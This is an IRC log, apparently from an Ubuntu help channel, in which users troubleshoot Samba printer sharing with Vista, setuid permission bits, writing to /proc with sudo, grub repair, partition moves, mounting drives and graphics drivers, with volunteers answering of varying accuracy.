[00:00] <m0r0n> lstarnes: nossralsuva:  Thanks
[00:00] <greensimian> Hey gang
[00:00] <greensimian> Got a ?
[00:00] <nossralsuva> m0r0n: no problem
[00:00] <greensimian> In windows I always have to enable disk caching
[00:00] <greensimian> Do I have to do the same in Linux?
[00:00] <cody> nossralsuva: Currently, sudo apt-get install samba is running, i will run sudo apt-get install system-samba-config as soon as it finishes
[00:00] <greensimian> Is there a place to fiddle with this kind of thing in Ubuntu?
[00:01] <ZykoticK9> greensimian, no - the linux kernel looks after that for you.  swap partitions and swap in general should NOT be used unless necessary!  linux can do a lot in memory :)
[00:01] <nossralsuva> cody: be sure to run $sudo testparm     to make sure you setup your parameters correctly
[00:02] <cody> okay, so after i install the samba, and set it up, run sudo testparm?
[00:02] <nossralsuva> cody: sudo apt-get install system-config-samba   = correction
[00:02] <greensimian> ZykoticK9: People keep teling me that but my system runs much better with a 10gb Swap Part as opposed to 4gb of RAM
[00:02] <nossralsuva> cody: exactly, that will make sure that you have configured your parameters correctly
[00:02] <cody> nossralsuva: E: Couldn't find package system-samba-config
[00:02] <cody> and okaty
[00:02] <cody> okay*
[00:02] <ZykoticK9> greensimian, although cache is sorta different, but not disk cache so much - it's also nice not to have to defrag - that took me some getting use too...
[00:03] <ae86-drifter> cody: ill brb have to go sorry
[00:03] <invitingdopeman> does anybody know how to register my nickname i cant figure this shit out
[00:03] <cody> ae86-drifter: Okay, thatsfine
[00:03] <Mehedi> how can i activate evolution mail for gmail?
[00:03] <mnaines> ZykoticK9: It took me some getting used to Linux not throwing everything into swap even though I have 4GB of RAM
[00:03] <gasmask> ZykoticK9: still looking... thanks for patience
[00:03] <greensimian> ZykoticK9: Yeah, I was looking for some defrag info too....it's automagical
[00:03] <nossralsuva> cody: if you see the output of "OK" then you have setup your samba configuration correctly, if not it will tell you which lines in your config files that you've made a mistake on
[00:03] <Solar_Flare> @Mehedi: It's described on google.
[00:03] <cody> nossralsuva: Ill use synaptic
[00:03] <dumont> i accidentally set chmod 7676 by mistake and now the directory displayes drwsrwsrw- ,  how can i set the mode to 776? and get rid of the "s" thats there?
[00:03] <Solar_Flare> Just google "Evolutionmail gmail"
[00:03] <nossralsuva> cody: yes you can use synaptic, actually that would be much easier
[00:04] <afeijo> I installed a ubuntu server into vmware. Everytime I power if up, I have to run sudo dhclient to make it get ip to work with my net. How to automatize it?
[00:04] <cody> libsamba-hostconfig0 is the package?
[00:04] <ZykoticK9> afeijo, ask the same question in #ubuntu-server
[00:04] <afeijo> thanks
[00:04] <nossralsuva> dumount: set your chmod 0776 instead
[00:04] <invitingdopeman> how can i see my routers info
[00:04] <cody> nossralsuva: It is actually system-config-samba ;)
[00:05] <dumont>  chmod 0776 *
[00:05] <nossralsuva> dumont: you've activated a 'sticky bit'
[00:05] <dumont> drwsrwsrw-
[00:05] <dumont> :S
[00:05] <dumont> whats a sticky bit and how do i deactivate it?
[00:05] <nossralsuva> cody: yes, thank you, i had stated that correction later a few lines up
[00:06] <cody> nossralsuva: Oh, i did not see that lol
[00:06] <nossralsuva> cody: when i realized that I made the typo
[00:06] <whatis6x9> wow - printing is SO much better than 2 yrs ago :P
[00:06] <cheezey> anyway to quickly make a window fill half the screen (or anything similar)?
[00:06] <nossralsuva> cody: lols
[00:06] <PhantomLink> How do you search an ntfs drive again?
[00:06] <gasmask> ZykoticK9: ok, it looks like all the settings are being read from the config file near the top of the "terminator -d" output. However, shortly after that there is a section with "Returning 'keybindings':" and lists the keybinding set in the config as set to the default. hmmm
[00:06] <PhantomLink> It's grep | something right?
[00:07] <trism> PhantomLink: well you could do a grep -nHR "text you want to search for" /path_to_drive
[00:07] <nossralsuva> cheezey: you can go to >system>preferences>Windows and what I do is the 'roll up' feature after I have made the window (set manually) to half the screen size (vertically or horizontally)
[00:07] <ZykoticK9> gasmask, beyond me man...  good luck!
[00:07] <dumont> whats a sticky bit and how do i deactivate it? setting chmod 0776 * did not change anything, the directories are still drwsrwsrw-
[00:07] <cody> nossralsuva: The vista computer reports: Access denied, unable to connect
[00:07] <trism> PhantomLink: might take a while though
[00:08] <gasmask> ZykoticK9: ok, thanks for you help though. best of luck :)
[00:08] <mnaines> ZykoticK9: Did you get my IM?
[00:08] <Jacala> hi, I'm running ubuntu through a usb stick on a laptop & it's working great, inly thing is that it seems to lose any installs or saves on the desktop when I restart.  Any way to save things when running it this way?
[00:08] <jordan__> can someone help me with lib gtk????
[00:08] <nossralsuva> cheezey: or you can just size your window to half the screen's size and then use the maximize button to take it full or to the present size state
[00:08] <kahashi> hello, i need help with my vga. basically all i want is to be able to watch my anime on the tv screen using linux
[00:09] <cody> nossralsuva: The vista computer reports: "Access denied, unable to connect
[00:09] <nossralsuva> cody" here is an e.g., for every new line you will see a *
[00:09] <cody> nossralsuva: Okay
[00:09] <ZykoticK9> mnaines, sorry man I don't open ANY IMs - only in the channel for me...
[00:09] <solid_liq> !ping
[00:09] <mnaines> ZykoticK9: Shame...The stuff I was going to talk to you about is ot for this room
[00:10] <ZykoticK9> mnaines, message me in #ubuntu-offtopic
[00:10] <BoxMagnet> Can anyone tell me why i must use sudo su to echo -n 95 > /proc/acpi/video/GFX0/DD03/brightness
[00:10] <BoxMagnet> sudo does not work nor, sudo -s
[00:10] <jordan__> Ive already installed libgtk but whenever I try to install an application it says I need it.... but its already installed... when I tried to reinstall it it says that its already installed
[00:10] <LjL> BoxMagnet: because > gets processed by the shell, which doesn't have any root permissions.
[00:10] <nossralsuva> cody: [cody] * comment = cody's linux share * path = /home/cody * valid users = cody * admin users = cody * writable = yes * read only = no * guest ok = no
[00:10] <BoxMagnet> LjL, can you instruct?
[00:10] <ZykoticK9> BoxMagnet, your sending a setting to proc - basically direct HW access!  this is root's domain.
[00:11] <LjL> BoxMagnet: i what?
[00:11] <jordan__> can someone please help me?????
[00:11] <kahashi> i am having trouble giving video signals to my tv. i have the vga cables. but cant get any signals to the tv
[00:11] <LjL> BoxMagnet: https://help.ubuntu.com/community/RootSudo#Downsides of using sudo
[00:11] <nossralsuva> cody: the spacing is very important, the syntax is like this for example           intention = output
[00:12] <saxofoner> So... Grub 2 (1.97 beta3) has lost it... If I try to boot linux it says I must load the kernel, and if I try to boot windows, it says out of memory. i can't find any results for the errors on google, which shocked me. so I tried reinstalling from the disk and it didn't work. If I install grub (legacy) from an old 8.04 disk, will it see karmic?
[00:12] <ZykoticK9> BoxMagnet, what are you trying to do!?!?  strange to be sending "-n 95" to a video card?!?!
[00:12] <dumont> whats a sticky bit and how do i deactivate it? setting chmod 0776 * did not change anything, the directories are still drwsrwsrw-
[00:12] <BoxMagnet> ZykoticK9, lol, its screen brightness
[00:12] <LjL> BoxMagnet: you can use, instead, either « sudo sh -c "command > /proc/whatever" »,  or you can use « sudo command | tee /proc/whatever » to circumvent that
[00:12] <cody> nossralsuva: In the samba system config, do i need to add a share dedicated to MFC210C Printer? one is for /var/lib/samba/printers
[00:12] <cody> and ok
[00:12] <LjL> ZykoticK9: typing "echo -n 95" doesn't send "-n 95". the "-n" is an option that tells "echo" to not append a newline.
[00:12] <LjL> it sends "95".
[00:13] <ZykoticK9> BoxMagnet, but "-n 95" are you SURE that's the command!
[00:13] <BoxMagnet> ZykoticK9, it works
[00:13] <BoxMagnet> lol!
[00:13] <nossralsuva> cody: if you have a printer on the system it will automatically share the printers to the network
[00:13] <bastidrazor> BoxMagnet: it would be echo command | sudo tee /proc/wherever
[00:14] <cody> nossralsuva: Okay, i am still there. I have it set to allow access to anybody (not just cody and noone)
[00:14] <ZykoticK9> LjL, hummm thanks man.  that almost seems like BoxMagnet  might be clearing a setting then???
[00:14] <kahashi> pardon me, who here is familiar with vga outputs?
[00:14] <BoxMagnet> echo -n 95 | sudo /proc/acpi/video/GFX0/DD03/brightness
[00:14] <BoxMagnet> ?
[00:14] <LjL> ZykoticK9: no, he's sending "95" to his brightness. makes perfect sense to me
[00:14] <LjL> the range might be 0 to 255, or 0 to 100, i don't know
[00:14] <PhantomLink> how do i use grep to search for all files of a particular type on an ntfs drive?
[00:14] <bastidrazor> BoxMagnet: add tee after sudo
[00:15] <LjL> BoxMagnet: sudo tee
[00:15] <BoxMagnet> k
[00:15] <dumont> whats a sticky bit and how do i deactivate it? setting chmod 0776 * did not change anything, the directories are still drwsrwsrw-
[00:15] <BoxMagnet> thanks everyone
[00:15] <LjL> PhantomLink: what do you mean by "type"? format?
[00:15] <nossralsuva> cody: if you want to allow all, the example that i gave you before: just change   guest ok = yes   and it will automatically allow any computer to connect to it as a guest
[00:15] <PhantomLink> yeah
[00:15] <PhantomLink> like all files of type pdf
[00:15] <nossralsuva> cody: the guest account in linux is called "nobody"
[00:16] <LjL> PhantomLink: that's not really grep's realm
[00:16] <dumont> help, i can't remove the sticky bit!
[00:16] <cody> nossralsuva: Okay, but on vista, do i have to do anything to connect to it? I have chosen the printer, but it says "access denied, unable to connect"
[00:16] <LjL> PhantomLink: besides, can't you use the extension (e.g. "*.pdf")? that'd be *much* faster than actually determining the file's type.
[00:17] <nossralsuva> on the vista in the address bar   \\computerIP\\usersharefolder     the user share folder is the one on the linux box
[00:17] <m0r0n> Anyone have Dr. Java installed?
[00:17] <whoDat> i lost my onboard sound after installing a pcHDTV card... i think they both use the cx88 driver or something along those lines? can anyone help me track this down?
[00:17] <whoDat> it shows that it's loaded : snd_pcm                83076  3 snd_hda_intel,cx88_alsa,snd_pcm_oss
[00:18] <rabby_> after dist upgrade i worry about Quanta's print preview which opens gimp instead of a lightweight gtk-print or kprinter dialog :-(
[00:18] <rabby_> does anyone have an idea how to fix this?
[00:18] <subone> I'm trying to get samba working on my box but I can't even ping my box from a windows machine. it says Destination host unreachable. Any help?
[00:18] <dumont> help, i can't remove the sticky bit! i set it accidentally, but now when i do "chmod 0776 file" it does not seem to remove!
[00:19] <cody> nossralsuva: Okay, where do i find the share folder?
[00:19] <corey> anyone know what the best version of linux us for a noob?
[00:19] <m0r0n> corey: Mint
[00:19] <corey> can u send me a link so i can mirror it?
[00:19] <RainyLithuanian> whr is xorg conf?
[00:19] <LjL> dumont: try chmod -t instead, and try with sudo
[00:19] <nossralsuva> cody: run sudo smbpasswd -a username    this adds a password to the username that you are sharing
[00:19] <dumont> i'm logged in as root
[00:19] <bastidrazor> RainyLithuanian: /etc/X11/xorg.conf
[00:19] <m0r0n> corey:  http://www.linuxmint.com/
[00:19] <RainyLithuanian> thanks
[00:20] <BoxMagnet> LjL, anyway I can get sudo to not ask a password so I can make that in to a script?
[00:20] <dumont> whats -t operand?
[00:20] <LjL> corey: have you tried asking in #ubuntu-offtopic ? this channel is about *Ubuntu* support
[00:20] <corey> thanks
[00:20] <nossralsuva> dumont: use sudo instead to do that, no need to be running as root
[00:20] <cody> nossralsuva: What if i already have a pass on my username (my username is cody)
[00:20] <nossralsuva> cody:   smbpasswd -a cody
[00:20] <LjL> m0r0n: that seems like a gratuitous suggestion, i could give any other. (and Mint isn't supported here, for the record)
[00:21] <ZykoticK9> dumont, try "sudo chmod a-s FILENAMES" :)
[00:21] <nossralsuva> cody: it will ask you to make a new password, this password is for the share folder that you made in the samba config file
[00:21] <LjL> BoxMagnet: that would be quite dangerous. are you intending to do that every time you start your computer?
[00:21] <cody> nossralsuva: Added it
[00:21] <m0r0n> Anyone know a similar Dr. Java program that is easy to code in for a beginner programmer (School). I tried Eclipse and that didn't work out too well.
[00:21] <BoxMagnet> LjL, um, no ... on command for several different settings.
[00:21] <LjL> ZykoticK9: uhm, sticky bit is "t", "s" is for setuid afair
[00:22] <LjL> BoxMagnet: not making it ask for a password is going to be tricky.
[00:22] <dumont> ok a-s wokred, thank YOU!!!!
[00:22] <BoxMagnet> LjL, err, im sorry. the real reason this is all going on is because I have absolutelty no idea how to make my laptop function keys work
[00:22] <m0r0n> LjL: Link him something then, I haven't used it personally, but I hear it's easy to use. I'm still fairly new to the Linux world
[00:22] <LjL> BoxMagnet: which laptop is that? there are some packages for that in the repos
[00:22] <BoxMagnet> LjL, Hp Pavillion dv6000
[00:23] <LjL> m0r0n: no, i won't "link him something". that's not what this channel is for, and it would also be meaningless.
[00:23] <BoxMagnet> i have made my volume keys etc work..
[00:23] <LjL> !best | m0r0n
[00:23] <RainyLithuanian> I cannot believe I being such and idiot solved pivoting problem editing xorg.conf in first attempt:D
[00:23] <corey> i hjate the robot...
[00:24] <RainyLithuanian> there is a bug with eee 1000 which messes up the resolution boundaries in xorg and thus spawns a lot of bugs with external monitors:(
[00:24] <nossralsuva> cody: restart the samba server by typing 'sudo /etc/init.d/samba restart  and then try to input the \\computerip\sharefolder into the vista's address bar
[00:24] <LjL> BoxMagnet: uhm no i can't find anything (doesn't mean there isn't, just isn't exceptionally easy to find)
[00:24] <cody> nossralsuva: Okay, i will run that
[00:25] <corey> whats the main difference between ubuntu kubuntu and xubuntu
[00:25] <Kurogane> hello, any1 can help me to install java? here he error http://pastebin.com/m3afbae34
[00:25] <vox> corey: kubuntu uses kde
[00:26] <BoxMagnet> LjL, hmm ok. bright up is fn+f8 down is f7 so. how would I want to go about making that + fn work?
[00:26] <corey> ya i nebver could figure out hoew to use that 3-d crap in kubuntu
[00:26] <BoxMagnet> corey, works fine for me
[00:26] <cody> nossralsuva: I restarted it, and typed "\\(my IP) and got the error: \\(my ip) is not accessible. You might not have permission to use this network resource... The account is not authorized to log in from this server"
[00:26] <corey> idk how to make it work
[00:27] <BoxMagnet> got compiz installed?
[00:27] <corey> no
[00:27] <BoxMagnet> that could be your problem
[00:27] <corey> oh
[00:27] <corey> after i instal;l it
[00:27] <corey> how do i use it?
[00:27] <nossralsuva> corey: kubuntu= ubuntu w/ default KDE interface/windowind   xubuntu= ubuntu w/ xfce interface
[00:27] <vox> BoxMagnet: what does compiz have to do with samba?
[00:27] <ae86-drifter> cody: how did you go?
[00:27] <BoxMagnet> vox, he is talking about 3d?
[00:27] <LjL> BoxMagnet, i don't know, its tricky :|
[00:28] <BoxMagnet> you are thinking of the other one
[00:28] <cody> ae86-drifter: Still having trouble. I got vista to see it, but it gives me the error: "Access denied, unable to connect"
[00:29] <BoxMagnet> cody, check the permissions?
[00:29] <subone> I can ping my Windows machine from Ubuntu, but I can't ping my Ubuntu machine from Windows. Can anyone help?
[00:29] <corey> i wanan go back to windows... at least there i know how to use it!
[00:29] <cody> BoxMagnet: The permissions are:Allow Access to everyone.
[00:29] <pradeep> corey u shud try it out
[00:30] <corey> try what out
[00:30] <corey> ?
[00:30] <pradeep> man it makes a better
[00:30] <BoxMagnet> cody, what about the folder permissions in ubuntu..
[00:30] <cody> Let me check
[00:30] <cody> BoxMagnet: Where do i find the folder?
[00:30] <ae86-drifter> cody: goto System>administration>Printing right click on the printer, properties, and check the user access settings, also goto System>administration>Samba Config, and check the permissions there, then restart the samba server
[00:31] <BoxMagnet> cody, i did not know you were talking about a printer sorry...
[00:32] <ae86-drifter> do you have the samba config GUI?
[00:32] <cody> ae86-drifter: System>Administration>Printing is: Access Control - Allow printing for everyone. System>Administration>Samba is: Allow access to everybody. Restarting it now
[00:32] <nossralsuva> cody: [cody]    browsable = yes   read only = no  path = /home/cody     guest ok = yes
[00:33] <Chun1> Hi - using jaunty, anyone know how I can stop network-manager asking for my keyring password every time I boot?
[00:33] <cody> nossralsuva: Command again?
[00:34] <nossralsuva> cody: that was a line that you could put in your samba configuration file
[00:34] <cody> nossralsuva: I dont know where to locate the conf file
[00:34] <cody> lol
[00:34] <nossralsuva> cody: /etc/samba/smb.conf
[00:35] <nossralsuva> cody: that file controls the entire operation of samba
[00:35] <pradeep> chun1 /home/chun1/.gnome2/keyrings
[00:35] <cody> nossralsuva: Okay, where do i put in the line?
[00:35] <nossralsuva> cody: at the very last line of the entire file
[00:36] <Loafers> How do I run a program executed through shell in the background?
[00:36] <cody> nossralsuva: Okay, all on one line?
[00:36] <LjL> Loafers: add & after its command line
[00:36] <bastidrazor> Loafers: you could use programname & disown
[00:36] <Loafers> LjL, It's already running.
[00:36] <Chun1> pradeep: got a login.keyring
[00:36] <pradeep> yea
[00:37] <nossralsuva> cody: no each section is a line, each new share ( representing a share folder) starts off with [sharename]
[00:37] <Loafers> LjL, Theres no way to get prompt when program is already running?
[00:37] <m0r0n> Is there an applet to show free disk space?
[00:37] <Jester> Does anyone know how to change the terminal bell from the internal speaker (pcspkr) to something else, like a sound file ?
[00:37] <LjL> Loafers: yes.
[00:37] <LjL> Loafers: hit ctrl+z
[00:37] <nossralsuva> cody: then every line will have         input = output      an example is             guest ok = yes
[00:38] <LjL> Loafers: then the program will "freeze", and you'll get a prompt again. then you can type "bg <number>" to get it running again, but this time in the background.
[00:38] <ZykoticK9> starcannon, did you fix your Savage issue?  Took me a while to download - but it's 64bit versions installed perfectly for me once i chmod +x the file.
[00:38] <Loafers> LjL, ah awesome :)
[00:38] <cody> nossralsuva: so like this: http://pastebin.ca/1623009
[00:38] <gasmask>  Loafers: you can also use the "jobs" and the "fg" and "bg" commands
[00:39] <Billiard> is there something like rev that works for binary input
[00:39] <gasmask> Loafers: Jobs will show you what is running in the shell.
[00:39] <Loafers> gasmask, awesome thanks!
[00:39] <nossralsuva> cody: yes, exactly
[00:39] <cody> nossralsuva: Restarted its server now
[00:40] <cody> nossralsuva: http://pastebin.ca/1623012 good testparm?
[00:40] <nossralsuva> cody: just follow that file's pattern from the link and replace their share's with yours
[00:41] <gasmask> Does anyone know if this chat is logged?
[00:41] <genii> !irclogs
[00:41] <ae86-drifter> u should be able to use the gui to edit the samba config
[00:41] <genii> The ubottu knows all
[00:41] <cody> the link i sent you? (first link) nossralsuva
[00:41] <nossralsuva> cody: I do concur with ae86-drifter for a first timer
[00:42] <stylezed> hello... i dual boot vista and ubuntu.. i want to move the ubuntu partition... but i want to move it to the LEFT - to see what i mean hit this URL: http://i35.tinypic.com/2zny91c.jpg - anyone got any ideas? please?
[00:42] <nossralsuva> cody: the link with the ca. paste bin that you just posted
[00:42] <cody> nossralsuva: What do you mean concur with ae86-drifter? And okay, how do i edit it this time?
[00:43] <ae86-drifter> yeah, even though i work for a printer company doing linux tech suppiort?
[00:43] <ae86-drifter> which is brother
[00:43] <ae86-drifter> lol
[00:43] <subone> nvm it works :p
[00:43] <Billiard> stylezed: you must resize the extended partition
[00:43] <bastidrazor> stylezed: moving partitions around can be a dangerous risk.. use a LiveCD with gparted or a gparted CD
[00:43] <nossralsuva> cody: he was telling you to use the system-config-samba instead to edit the samba file without doing it the hard technical way
[00:43] <ae86-drifter> pwned
[00:44] <violet523> anyone have any tips for getting opengl to work on a nvidia geforce 5200?
[00:44] <ae86-drifter> its much easier to use GUIs for most people
[00:44] <stylezed> im in the liveCd right now.. and im trying to resize the extended partition.. but it wont let me resize it LEFT..
[00:44] <cody> nossralsuva: I tried doing graphical but it wasnt workin :(
[00:44] <ae86-drifter> especially most people in this room
[00:44] <Billiard> stylezed: can you move it
[00:44] <stylezed> its odd... i want to move the beginning of the extended partition LEFT into the unused space
[00:44] <stylezed> no it wont let me move it
[00:45] <nossralsuva> cody: so is it working now?
[00:45] <stylezed> its a pain in the ass.
[00:45] <Billiard> stylezed: is it mounted right now?
[00:45] <cody> nossralsuva: No
[00:45] <cody> :(
[00:45] <stylezed> no its not mounted
[00:45] <stylezed> im running from the live cd at the moment... i ran gparted as su
[00:45] <stylezed> still wouldnt let me move it left into the unused space
[00:46] <stylezed> aah shit
[00:46] <stylezed> im an idiot
[00:46] <Billiard> stylezed: it looks like it could be mounted, its showing a mount point
[00:46] <stylezed> i was selecting the logical partition not the extended
[00:46] <stylezed> duh
[00:47] <stylezed> thanks Billiard - sometimes all it takes is for someone else to look to make your brain work
[00:47] <Billiard> lol
[00:47] <stylezed> i feel like an idiot now... cuz im not a newbie..
[00:47] <stylezed> thanks tho.
[00:48] <cody> ae86-drifter and nossralsuva: I am using an online tutorial :p
[00:48] <stylezed> i'm probably going to have to re-setup grub after this aren't I?
[00:49] <ae86-drifter> open the samba gui, click preferences and goto user settings and just add the name of the windows vista user
[00:49] <stylezed> *sigh* wish i'd set up the partitions correctly in the first place.. i was rushing.. it's a new laptop
[00:51] <a_> i'm trying to change the ownership of an external drive. any takers?
[00:52] <ae86-drifter> chown <path>
[00:52] <mnaines> a_: sudo chown username:usergroup /dev/harddrivedesignation
[00:53] <ZykoticK9> mnaines, you should change the filesystem permission NOT the devices' permission!  like "sudo chmod user:group /mount/disk"
[00:53] <ZykoticK9> a_, see above!
[00:54] <tonyyarusso> I don't even think you *can* change device permissions after they exist.
[00:54] <boscop> why does my internet connection get disconnected every few minutes?
[00:54] <stylezed> i dont think you can change a device permission
[00:54] <boscop> please answer quick :/
[00:54] <stylezed> what tonyyarusso said
[00:54] <stylezed> heh
[00:54] <mnaines> Yes, you can, tonyyarusso...You can change the permissions of an entire drive
[00:54] <ae86-drifter> boscop: i dont know, you need to provide more detail
[00:55] <stylezed> mnaines: learn something new every day.
[00:55] <boscop> ae86-drifter: in the system monitor I then see that no traffic happens
[00:55] <mnaines> tonyyarusso: For example, if you have one internal drive and one external drive and want to change permissions for the external drive, you type sudo chown username:usergroup /dev/sdb
[00:55] <boscop> ae86-drifter: and I try to reconnect with sudo pon dsl-provider
[00:55] <tonyyarusso> mnaines: I know the command, I just don't know if it actually works.
[00:55] <ae86-drifter> boscop: you need to explain what type of connection you have
[00:56] <boscop> but it doesn't work often
[00:56] <violet523> been trying to get opengl working with my nvidia geforce fx 5200 and although /var/log/Xorg.0.log is showing no problems, gdm seems to lock up at a blank screen
[00:56] <boscop> ae86-drifter: dsl
[00:56] <Doc_Lappy> can anybody tell me how to fix grub with live cd?
[00:56] <mnaines> tonyyarusso: The /dev/sdb path does work, but it changes for the entire drive, not just the file system
[00:56] <ae86-drifter> boscop: wired or wireless
[00:56] <boscop> ae86-drifter: wired
[00:56] <nossralsuva> cody: okay
[00:56] <keith1> has anyone had any luck installing Jahshaka on their system?
[00:56] <ZykoticK9> mnaines, /dev/sdb is a DRIVE not even a partition - ontop of partition are the filesystem that these changes reside on
[00:56] <Assjj> hi guys i keep getting 403 forbidden when i access cgi-bin/ http://pastie.org/656950 please help
[00:57] <tonyyarusso> mnaines: huh, maybe it doesn't work for some other device type - I know I tried it on something once unsuccessfully.
[00:57] <mnaines> ZykoticK9: Yes, but if you want to change permissions for the entire drive (in cases where the drive has more than one file system and you want all of them to have the same permissions), you use the drive path not the mount path
[00:58] <a_> Zykotick9: I already tried that. Terminal went through the whole list of files and "changed" the owner, but I still get "you are not the owner"
[00:58] <mnaines> ZykoticK9: Did you unmount the drive first?
[00:59] <stylezed> Doc_Lappy: check your messages
[00:59] <mnaines> oops
[00:59] <ZykoticK9> a_, are you "ls -l" in the directory
[00:59] <mnaines> a_: Did you unmount the drive first?
[00:59] <a_> no
[00:59] <a_> how do I unmount from terminal?
[00:59] <mnaines> a_: The drive has to be mounted or else it won't work
[01:00] <ZykoticK9> a_, "sudo umount /mount/point"
[01:00] <Scunizi> mnaines: a_ ... perhaps the syntax of the chown command wasn't correct.. sudo chown <username:username> /path/to/directory
[01:00] <DaZ> username:group :f
[01:01] <ZykoticK9> a_, did you use the chmod -R switch for recursive?
[01:01] <violet523> -does nayone have any place maybe i could look, from what i understand,g aming wise, nvidia has some somewhat decent upport fir 3d?
[01:01] <mnaines> Scunizi: If he's trying to change ownership of the drive itself, he needs the drive path, which he can get from ls -l
[01:01] <mnaines> violet523: I use an nVidia card and it supports 3D just fine through OpenGL
[01:01] <Scunizi> mnaines: sure.. no doubt.. I just came in so I'm not aware in what context and what he's actually changing..
[01:02] <Scunizi> violet523: nvidia all the way.. ati is hit and miss ..
[01:02] <ZykoticK9> a_, you need that drive mounted to make any changes to the filesystem!
[01:02] <violet523> mnaines: im using an geforce 5200 and haven't been able to get X to work using the nvidia drivers versus the nv drivers
[01:03] <Purpley> how do i make a symlink between libosgGA.so.61 and libsgGA.so ?
[01:03] <mnaines> violet523: 5200?!  That's an old card.  Time for an upgrade, dude
[01:03] <ae86-drifter> and i thought my 8600 was old
[01:03] <Billiard> violet523: i had no problems with a 5200
[01:04] <Purpley> hah i have a 9800 GTX+
[01:04] <a_> Zykotick9: I get this error when trying to mount. "mount: can't find /media/disc 3 in /etc/fstab or /etc/mtab"
[01:04] <mnaines> I got the 8800GTS Superclocked
[01:04] <Purpley> meh mines overclocked
[01:04] <Purpley> i forget the specs
[01:04] <ZykoticK9> a_ it's cause of the spaces in the disc name!  you need to put " around the whole /media... part!
[01:05] <Purpley> cmon guys
[01:05] <Purpley> how do i make a symlink between libosgGA.so.61 and libsgGA.so ?
[01:05] <Scunizi> mnaines: that's an older card .. with the newer releases of ubuntu you might need to install the legacy driver.  It's in Synaptic package manager.. however if you've just installed do a full update and it might pull it in automatically.. open a terminal and type or cut and paste..  sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade ...
[01:05] <violet523> mnaines: its one of the few cards tihs particular box will run. the main gaming computer has an 8500, but we were looking to have two boxes with wow and linux not just one with doze and one with linux
[01:05] <ae86-drifter> i have a geforce 575,000,000
[01:05] <jerknextdoor> the dropbox icon in my notification area has disappeared twice.  the first time i had to reinstall dropbox.  i'm looking for a more permanent solution.
[01:05] <ae86-drifter> mega clocked
[01:05] <Scunizi> sorry mnaines that was ment for violet523 .. look up violet523
[01:05] <Purpley> please guys help
[01:05] <Billiard> Purpley: same directory?
[01:05] <Purpley> Uhhhhh
[01:05] <Purpley> Hmm
[01:05] <a_> I still get the same error
[01:05] <ZykoticK9> a_, you tab completion "sudo unmount /med<TABKEY>/d<TABYKEY>"
[01:05] <Purpley> hold on ill find the directory
[01:05] <Jihui_Choi> I have xp and ubuntu on my laptop. But I can't enter to xp. I think I installed mbr on my usb memorystick and atfer that install grub on my disk.
[01:06] <Purpley> Wait nvm yes
[01:06] <ZykoticK9> a_, s/unmount/umount !!!!
[01:06] <Purpley> The program needs a app with .so.61 but that dosent exist so yeah :\
[01:06] <Jihui_Choi> how can I fix the grub without live cd?
[01:06] <Scunizi> Jihui_Choi: grub should have picked up the windows install and listed it in the menu.. you might need to reinstall grub to catch it.
[01:06] <Scunizi> !grub | Jihui_Choi
[01:07] <Billiard> ln -s file file.so.61
[01:07] <violet523> Scunizi: isn't a dist upgrade  little drastic? should i just try the legacy drivers first?
[01:07] <Billiard> violet523: i think u do need to use legacy for 5200
[01:07] <Purpley> how do i make a symlink between libosgGA.so.61 and libsgGA.so ? same directory
[01:08] <Billiard> Purpley: ln -s file file.so.61
[01:08] <violet523> alright, be back in ten then if it doesnt work ;p
[01:08] <Purpley> but I need .so to be linked with .so.61
[01:08] <Jihui_Choi> Scunizi: nono.. actually I had xp and ubuntu. and I installed ubuntu 9.10 and failed. so I installed mbr for booting on xp because after installing ubuntu 9.10, I couldn't boot on xp. After that I installed 9.04 again.
[01:08] <Purpley> oh wait
[01:08] <Purpley> nvm i see what you meant lol
[01:09] <Jihui_Choi> And now I can't boot on xp still. I can boot on 9.04, though
[01:10] <a_> the name of my external HD is "disc 3". This is exactly what I am typing: mount "/media/disc 3"
[01:10] <Purpley> nvm do you know where one could install libosgGA.so.61
[01:10] <Scunizi> Jihui_Choi: look in /boot/grub/ ... that's where menu.list (your grub boot menu) is located.. see if there are backups in that directory you can look at for the right references to the load routine for xp
[01:10] <jrib> a_: what do you expect that to do?
[01:10] <Billiard> Purpley: for what program
[01:10] <pradeep> ok
[01:10] <jrib> !who | a_
[01:11] <Jihui_Choi> Scunizi: no I've just checked. there's no backup for menu.lst
[01:11] <a_> jrib: mount the drive?
[01:11] <jrib> a_: is it in your fstab then?
[01:11] <Scunizi> a_: linux doesn't like names with spaces.. if the name of the drive is "disk 3" then when mentioning it put ' on either end.
[01:11] <a_> jrib: I dont think so
[01:11] <Scunizi> Jihui_Choi: just one drive in the machine?
[01:11] <jrib> a_: then the command wouldn't work.  What are you trying to accomplish?
[01:11] <ZykoticK9> a_, if it's usb just unplug it and plug it back in!
[01:11] <Jihui_Choi> yes.  D:
[01:12] <stylezed> thanks to those who helped - Billiard ;)
[01:12] <stylezed> bye
[01:12] <Purpley> Billiard, FGRUN which is linked to FGFS
[01:12] <ZykoticK9> a_, you mount would be something like "mount /dev/sdaX /mnt" where /mnt has to already exist as a directory
[01:13] <Scunizi> Jihui_Choi: wish I was home I could give you my references to massage.. alas .. I'm not..
[01:13] <RIPPED> hello
[01:13] <RIPPED> good night
[01:13] <m0r0n> What format is Ubuntu installed in? Fat 16?
[01:13] <chris-s> you choose on setup, ext3 I think is default
[01:13] <tonyyarusso> m0r0n: um, no....  ext3 is default in 9.04.
[01:13] <Scunizi> m0r0n: ext3 or 3xt4 by default
[01:13] <kingbuzzo> is it possible to add modelines to xorg.conf?
[01:13] <ZykoticK9> m0r0n, usually ext3
[01:13] <ae86-drifter> cody, email me at<EMAIL_ADDRESS>[01:13] <Jihui_Choi> Scunizi: it's ok. you know what? if I boot using hiren cd on my usb stick, I can boot on xp.
[01:13] <Jihui_Choi> it's so awkward
[01:13] <cody> ae86-drifter: Okay, let me open my email
[01:14] <MJ94_> Hi. I just started using Ubuntu today, and I can't get Ubuntu to recognize and use my wireless card. How can I get it to do so? You may say "How are you here then?" Answer: Ethernet.
[01:14] <Scunizi> Jihui_Choi: use the menu.lst from that for reference
[01:14] <RIPPED> i got a dual boot vista ubuntu9.x install , i think i did all correct , but when i hibernate , and  switch on the computer , the things was opend when hibernate , like browser or programs arent there . why ?
[01:14] <ae86-drifter> make sure u say your from australia, or we cannot provide support
[01:14] <maco> MJ94_: check system -> administraiton -> hardware drivers
[01:14] <Jihui_Choi> what reference? on my usb?
[01:14] <m0r0n> Anyone install on sucessfully?
[01:14] <maco> MJ94_: if your wireless driver isnt included, that should let you download one using your ethernet
[01:14] <Jihui_Choi> I already tried, but it didn't work well
